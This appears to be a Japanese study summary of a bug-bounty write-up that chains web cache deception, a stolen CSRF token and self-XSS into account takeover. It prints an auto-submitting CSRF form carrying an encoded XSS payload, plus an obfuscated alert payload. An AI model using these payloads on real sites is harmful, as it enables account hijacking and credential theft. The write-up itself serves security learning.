Cache Deception Allows Poisoning から学ぶ

ソース:

bxmbn.medium.com

脆弱性:Cache Deception, Poisoning

 

訳:

それで、はるか昔の 7 月に、私はアプリのテストを開始し。
そのアプリが Akamai の背後にあることに気付き、その後アカウントを作成し、名前を更新するときに Self-XSS があることに気付いて。

したがって、これを悪用するには、キャッシュ可能な拡張ファイル (.js .css、woff2) を使用して変更された URL を被害者に送信して、ユーザーの CSRF トークンを抽出し、サーバーに保存するだけで済んで。

URL の例:

https://www.███████/my-account/personal-information.woff2?triagethis

 

CSRF キャッシュ

CSRF トークンを抽出した後、XSS ペイロードを被害者に送信できて。

 

<html>
<body onload="xss.submit();">
<form method = "POST"
action = "https://www.█████████/my-account/update-profile"
id="xss"
style = "display:none">


<input type="hidden" name="CSRFToken" value="replace your stolen token here">
<input type="hidden" name="lname" value="Oauth">
<input type="hidden" name="zipcode" value="07801">
<input type="hidden" name="fname" value="&#x78;&#x73;&#x73;&#x22;&#x2c;&#x22;&#x61;&#x22;&#x3a;&#x74;&#x6f;&#x70;&#x5b;&#x38;&#x36;&#x38;&#x30;&#x34;&#x33;&#x39;&#x2e;&#x2e;&#x74;&#x6f;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x33;&#x30;&#x29;&#x5d;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;&#x2c;&#x2f;&#x2f;">
<input type="hidden" name="dobField" value="04/06/1994">
<input type="submit">
</form>
</body>
</html>

 

Payload Used:

xss”,”a”:top[8680439..toString(30)](document.domain),//

 

次に、このエクスプロイトでアカウント乗っ取りを実行するには 2 つの方法があることを示し。
1 つは、盗まれた CSRF で電子メールを変更し、新しいパスワードを要求するだけで。もう 1 つは、JS を使用して KeyLogger を使用してパスワードを抽出することで。
ペイロードは他の複数のページにあって。

 

ほなほな。